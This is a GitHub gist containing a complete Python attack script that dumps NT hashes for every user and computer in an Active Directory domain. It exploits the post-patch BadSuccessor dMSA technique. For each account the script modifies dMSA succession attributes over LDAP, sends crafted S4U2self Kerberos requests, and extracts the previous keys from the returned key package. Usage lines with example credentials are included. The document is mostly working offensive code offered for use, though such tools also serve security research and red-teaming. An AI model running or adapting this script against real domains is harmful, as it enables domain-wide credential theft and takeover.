Skip to content

Instantly share code, notes, and snippets.

Show Gist options
  • Save gavz/2d67e168306e9c504717886a583a994f to your computer and use it in GitHub Desktop.
Save gavz/2d67e168306e9c504717886a583a994f to your computer and use it in GitHub Desktop.

Revisions

  1. @ThePirateWhoSmellsOfSunflowers ThePirateWhoSmellsOfSunflowers created this gist Aug 31, 2025.
    303 changes: 303 additions & 0 deletions badsuccessordumper_postpatch.py
    Original file line number Diff line number Diff line change
    @@ -0,0 +1,303 @@
    import argparse
    import datetime
    import logging
    import os
    import random
    import struct
    import sys
    from binascii import hexlify, unhexlify
    from six import ensure_binary

    from pyasn1.codec.der import decoder, encoder
    from pyasn1.type.univ import noValue
    from pyasn1.type import tag

    from impacket.krb5 import constants
    from impacket.krb5.asn1 import AP_REQ, AS_REP, TGS_REQ, Authenticator, TGS_REP, seq_set, seq_set_iter, PA_FOR_USER_ENC, \
    Ticket as TicketAsn1, EncTGSRepPart, PA_PAC_OPTIONS, EncTicketPart, S4UUserID, PA_S4U_X509_USER, KERB_DMSA_KEY_PACKAGE
    from impacket.krb5.crypto import Key, _enctype_table, _HMACMD5, _AES256CTS, Enctype, string_to_key, _get_checksum_profile, Cksumtype
    from impacket.krb5.constants import TicketFlags, encodeFlags, ApplicationTagNumbers
    from impacket.krb5.kerberosv5 import getKerberosTGT, sendReceive
    from impacket.krb5.types import Principal, KerberosTime, Ticket
    from impacket.winregistry import hexdump

    from ldap3 import MODIFY_REPLACE, MODIFY_DELETE
    from pywerview.functions.net import NetRequester

    # This script retrieves NT hashes of all domain users and computers using a dMSA
    # Unlike the original script, this one needs privileged account.
    # See https://www.akamai.com/blog/security-research/badsuccessor-is-dead-analyzing-badsuccessor-patch for more info
    # and https://x.com/YuG0rd/status/1960819000084193399
    #
    # Based on my previous script: https://gist.github.com/ThePirateWhoSmellsOfSunflowers/912c5728bde1a7eba4bc99ff06b3f73c
    #
    # Usage:
    # python badsuccessordumper_postpatch.py -u daenerys.targaryen --hashes $NTHASH --aes $AESKEY -d essos.local -t 192.168.56.24 -i 'dmsa_essos$'
    # python badsuccessordumper_postpatch.py -u daenerys.targaryen -p 'BurnThemAll!' -d essos.local -t 192.168.56.24 -i dmsa_essos$
    # python badsuccessordumper_postpatch.py -u daenerys.targaryen --hashes 34534854d33b398b66684072224bb47a -d essos.local -t 192.168.56.24 -i dmsa_essos$
    # The last one is prone to error while asking for the TGT if RC4 is not suported by the DC
    #
    # Not tested in prod, use at your own risk
    #
    # @lowercase_drm / ThePirateWhoSmellsOfSunflowers

    def doDMSA(tgt, cipher, oldSessionKey, sessionKey, nthash, aesKey, kdcHost, domain, impersonate):
    decodedTGT = decoder.decode(tgt, asn1Spec=AS_REP())[0]
    # Extract the ticket from the TGT
    ticket = Ticket()
    ticket.from_asn1(decodedTGT['ticket'])

    apReq = AP_REQ()
    apReq['pvno'] = 5
    apReq['msg-type'] = int(constants.ApplicationTagNumbers.AP_REQ.value)

    opts = list()
    apReq['ap-options'] = constants.encodeFlags(opts)
    seq_set(apReq, 'ticket', ticket.to_asn1)

    authenticator = Authenticator()
    authenticator['authenticator-vno'] = 5
    authenticator['crealm'] = str(decodedTGT['crealm'])

    clientName = Principal()
    clientName.from_asn1(decodedTGT, 'crealm', 'cname')

    seq_set(authenticator, 'cname', clientName.components_to_asn1)

    now = datetime.datetime.now(datetime.timezone.utc)
    authenticator['cusec'] = now.microsecond
    authenticator['ctime'] = KerberosTime.to_asn1(now)

    encodedAuthenticator = encoder.encode(authenticator)

    # Key Usage 7
    # TGS-REQ PA-TGS-REQ padata AP-REQ Authenticator (includes
    # TGS authenticator subkey), encrypted with the TGS session
    # key (Section 5.5.1)
    encryptedEncodedAuthenticator = cipher.encrypt(sessionKey, 7, encodedAuthenticator, None)

    apReq['authenticator'] = noValue
    apReq['authenticator']['etype'] = cipher.enctype
    apReq['authenticator']['cipher'] = encryptedEncodedAuthenticator

    encodedApReq = encoder.encode(apReq)

    tgsReq = TGS_REQ()

    tgsReq['pvno'] = 5
    tgsReq['msg-type'] = int(constants.ApplicationTagNumbers.TGS_REQ.value)

    tgsReq['padata'] = noValue
    tgsReq['padata'][0] = noValue
    tgsReq['padata'][0]['padata-type'] = int(constants.PreAuthenticationDataTypes.PA_TGS_REQ.value)
    tgsReq['padata'][0]['padata-value'] = encodedApReq

    # In the S4U2self KRB_TGS_REQ/KRB_TGS_REP protocol extension, a service
    # requests a service ticket to itself on behalf of a user. The user is
    # identified to the KDC by the user's name and realm.
    clientName = Principal(impersonate, type=constants.PrincipalNameType.NT_PRINCIPAL.value)

    paencoded = None
    padatatype = None
    dmsa = True

    nonce_value = random.getrandbits(31)
    dmsa_flags = [2, 4] # UNCONDITIONAL_DELEGATION (bit 2) | SIGN_REPLY (bit 4)
    encoded_flags = encodeFlags(dmsa_flags)

    s4uID = S4UUserID()
    s4uID.setComponentByName('nonce', nonce_value)
    seq_set(s4uID, 'cname', clientName.components_to_asn1)
    s4uID.setComponentByName('crealm', domain)
    s4uID.setComponentByName('options', encoded_flags)

    encoded_s4uid = encoder.encode(s4uID)
    checksum_profile = _get_checksum_profile(Cksumtype.SHA1_AES256)
    checkSum = checksum_profile.checksum(
    sessionKey,
    ApplicationTagNumbers.EncTGSRepPart.value,
    encoded_s4uid
    )

    s4uID_tagged = S4UUserID().subtype(explicitTag=tag.Tag(tag.tagClassContext, tag.tagFormatConstructed, 0))
    s4uID_tagged.setComponentByName('nonce', nonce_value)
    seq_set(s4uID_tagged, 'cname', clientName.components_to_asn1)
    s4uID_tagged.setComponentByName('crealm', domain)
    s4uID_tagged.setComponentByName('options', encoded_flags)

    pa_s4u_x509_user = PA_S4U_X509_USER()
    pa_s4u_x509_user.setComponentByName('user-id', s4uID_tagged)
    pa_s4u_x509_user['checksum'] = noValue
    pa_s4u_x509_user['checksum']['cksumtype'] = Cksumtype.SHA1_AES256
    pa_s4u_x509_user['checksum']['checksum'] = checkSum

    padatatype = int(constants.PreAuthenticationDataTypes.PA_S4U_X509_USER.value)
    paencoded = encoder.encode(pa_s4u_x509_user)

    tgsReq['padata'][1] = noValue
    tgsReq['padata'][1]['padata-type'] = padatatype
    tgsReq['padata'][1]['padata-value'] = paencoded

    reqBody = seq_set(tgsReq, 'req-body')

    opts = list()
    opts.append(constants.KDCOptions.forwardable.value)
    opts.append(constants.KDCOptions.renewable.value)
    opts.append(constants.KDCOptions.canonicalize.value)


    reqBody['kdc-options'] = constants.encodeFlags(opts)

    serverName = Principal('krbtgt/%s' % domain, type=constants.PrincipalNameType.NT_SRV_INST.value)

    seq_set(reqBody, 'sname', serverName.components_to_asn1)
    reqBody['realm'] = str(decodedTGT['crealm'])

    now = datetime.datetime.now(datetime.timezone.utc) + datetime.timedelta(days=1)

    reqBody['till'] = KerberosTime.to_asn1(now)
    reqBody['nonce'] = random.getrandbits(31)
    seq_set_iter(reqBody, 'etype',
    (int(cipher.enctype), int(constants.EncryptionTypes.rc4_hmac.value)))

    message = encoder.encode(tgsReq)

    r = sendReceive(message, domain, kdcHost)

    tgs = decoder.decode(r, asn1Spec=TGS_REP())[0]

    try:
    # Decrypt TGS-REP enc-part (Key Usage 8 - TGS_REP_EP_SESSION_KEY)
    cipher = _enctype_table[int(tgs['enc-part']['etype'])]
    plainText = cipher.decrypt(sessionKey, 8, tgs['enc-part']['cipher'])
    encTgsRepPart = decoder.decode(plainText, asn1Spec=EncTGSRepPart())[0]

    if 'encrypted_pa_data' not in encTgsRepPart or not encTgsRepPart['encrypted_pa_data']:
    logging.debug('No encrypted_pa_data found - DMSA key package not present')
    return

    for padata_entry in encTgsRepPart['encrypted_pa_data']:
    padata_type = int(padata_entry['padata-type'])
    logging.debug('Found encrypted padata type: %d (0x%x)' % (padata_type, padata_type))

    if padata_type == constants.PreAuthenticationDataTypes.KERB_DMSA_KEY_PACKAGE.value:
    dmsa_key_package = decoder.decode(
    padata_entry['padata-value'],
    asn1Spec=KERB_DMSA_KEY_PACKAGE()
    )[0]
    dmsa_key_package.prettyPrint()

    logging.info('Current keys:')
    for key in dmsa_key_package['current-keys']:
    key_type = int(key['keytype'])
    key_value = bytes(key['keyvalue'])
    type_name = constants.EncryptionTypes(key_type)
    hex_key = hexlify(key_value).decode('utf-8')
    logging.info('%s:%s' % (type_name, hex_key))
    logging.info('Previous keys:')
    previous_keys = []
    for key in dmsa_key_package['previous-keys']:
    key_type = int(key['keytype'])
    key_value = bytes(key['keyvalue'])
    type_name = constants.EncryptionTypes(key_type)
    hex_key = hexlify(key_value).decode('utf-8')
    #print('%s:%s' % (type_name, hex_key))
    previous_keys.append({type_name : hex_key})
    except Exception as e:
    import traceback
    traceback.print_exc()

    return r, None, sessionKey, None, previous_keys

    def argparser(argv):
    arg_parser = argparse.ArgumentParser(prog='badsuccessordumper_postpatch.py', description='\n Domain dumper based on the Bad Successor vulnerability (post patch version)')
    arg_parser.add_argument('-u', '--user', required=True, help='User that owns the dMSA')
    arg_parser.add_argument('-p', '--password', required=False, help='Password for the user that owns the dMSA')
    arg_parser.add_argument('-d', '--domain', required=True, dest='domain', help='User domain')
    arg_parser.add_argument('-i', '--impersonnate', required=True, dest='dmsa', help='dMSA samaacountname')
    arg_parser.add_argument('--hashes', required=False, action='store', metavar = 'LMHASH:NTHASH', help='NTLM hashes, format is [LMHASH:]NTHASH')
    arg_parser.add_argument('--aes', required=False, action='store', help='AES key')
    arg_parser.add_argument('-t', '--dc-ip', dest='domain_controller', help='IP address of the Domain Controller to target')
    arg_parser.add_argument('--debug', action="store_true", help='Debug mode')
    args = arg_parser.parse_args(argv)

    if args.hashes:
    try:
    args.lmhash, args.nthash = args.hashes.split(':')
    except ValueError:
    args.lmhash, args.nthash = 'aad3b435b51404eeaad3b435b51404ee', args.hashes
    finally:
    args.password = str()
    else:
    args.lmhash = args.nthash = str()

    if args.password is None and not args.hashes:
    from getpass import getpass
    args.password = getpass('Password:')
    return args

    args = argparser(sys.argv[1:])

    host=args.domain_controller
    user = args.user
    domain = args.domain
    password = args.password
    lmhash = args.lmhash
    nthash = args.nthash
    dmsa = args.dmsa
    debugprint = print if args.debug else lambda *a, **k: None
    kdcHost = host
    aesKey = args.aes

    attributes = ['distinguishedname', 'samaccountname', 'objectclass']
    ldap_dmsa_custom_filter = '(&(objectclass=msDS-DelegatedManagedServiceAccount)(samaccountname={}))'

    # As you may know, I love pywerview
    netrequester = NetRequester(host, domain, user, password, lmhash, nthash)
    ldap_dmsa_custom_filter = ldap_dmsa_custom_filter.format(dmsa)
    dmsa_raw = netrequester.get_adobject(attributes=attributes, custom_filter=ldap_dmsa_custom_filter)

    try:
    dmsa_dn = dmsa_raw[0].distinguishedname
    debugprint('[-] {0} distinguished name is {1}'.format(dmsa, dmsa_dn))
    except IndexError:
    print('[x] dMSA account not found or {} is not allowed to retrieve it!'.format(user))
    sys.exit(1)

    raw_user = netrequester.get_netuser(attributes=attributes)
    raw_computer = netrequester.get_netcomputer(attributes=attributes)

    debugprint('[-] It will dump {0} users and {1} computers'.format(len(raw_user), len(raw_computer)))

    # Caution: PTH may raise KDC_ERR_ETYPE_NOSUPP while getting TGT
    if aesKey:
    lmhash = nthash = str()
    user_principal = Principal(user, type=constants.PrincipalNameType.NT_PRINCIPAL.value)
    tgt, cipher, oldSessionKey, sessionKey = getKerberosTGT(user_principal, password, domain, unhexlify(lmhash), unhexlify(nthash), aesKey, kdcHost)

    targets = raw_user + raw_computer
    for target in targets:
    # unfortunately, post-patch, we can't dump dmsa
    if 'msDS-DelegatedManagedServiceAccount' in target.objectclass:
    continue
    netrequester._ldap_connection.modify(dmsa_dn, {'msDS-ManagedAccountPrecededByLink': [(MODIFY_REPLACE, [target.distinguishedname])]})

    # Here comes the twist.
    # According to this link: https://learn.microsoft.com/en-us/windows-server/identity/ad-ds/manage/delegated-managed-service-accounts/delegated-managed-service-accounts-overview
    # Attributes are msDS-SupersededManagedServiceAccountLink and msDS-SupersededAccountState.
    # Turns out attributes are msDS-SupersededManagedAccountLink and msDS-SupersededServiceAccountState, ¯\_(ツ)_/¯
    # https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-ada2/c5b9ddb6-a9dd-4bdc-9a68-775fb346f21e
    netrequester._ldap_connection.modify(target.distinguishedname, {'msDS-SupersededManagedAccountLink': [(MODIFY_REPLACE, [dmsa_dn])]})
    netrequester._ldap_connection.modify(target.distinguishedname, {'msDS-SupersededServiceAccountState': [(MODIFY_REPLACE, [2])]})
    tgs, rcipher, oldSessionKey, sessionKey, previous_keys = doDMSA(tgt, cipher, oldSessionKey, sessionKey, unhexlify(nthash), aesKey, kdcHost, domain, dmsa)
    sessionKey = oldSessionKey
    netrequester._ldap_connection.modify(target.distinguishedname, {'msDS-SupersededServiceAccountState': [(MODIFY_DELETE, [2])]})
    netrequester._ldap_connection.modify(target.distinguishedname, {'msDS-SupersededManagedAccountLink': [(MODIFY_DELETE, [dmsa_dn])]})
    for key in previous_keys:
    try:
    print("{0}\\{1}:{2}".format(domain, target.samaccountname, key[constants.EncryptionTypes.rc4_hmac]))
    break
    except:
    # Computer accounts have also AES in the previous keys array, ignoring them for now
    pass